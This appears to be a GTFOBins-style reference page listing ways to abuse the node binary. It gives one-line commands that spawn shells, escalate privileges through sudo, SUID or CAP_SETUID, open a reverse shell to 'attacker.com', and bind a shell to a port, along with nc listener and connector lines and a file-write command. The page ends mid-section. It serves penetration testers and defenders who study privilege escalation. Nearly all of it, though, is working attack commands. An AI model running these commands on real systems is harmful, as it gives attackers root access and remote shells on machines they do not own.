Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.
```
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged

This function can be performed by any unprivileged user.

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Listener

A TCP server can be used on the attacker box to receive the shell.

nc -l -p 12345

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

Unprivileged

This function can be performed by any unprivileged user.

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Connector

A TCP client can be used on the attacker box to connect to the shell.

nc victim.com 12345

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

```
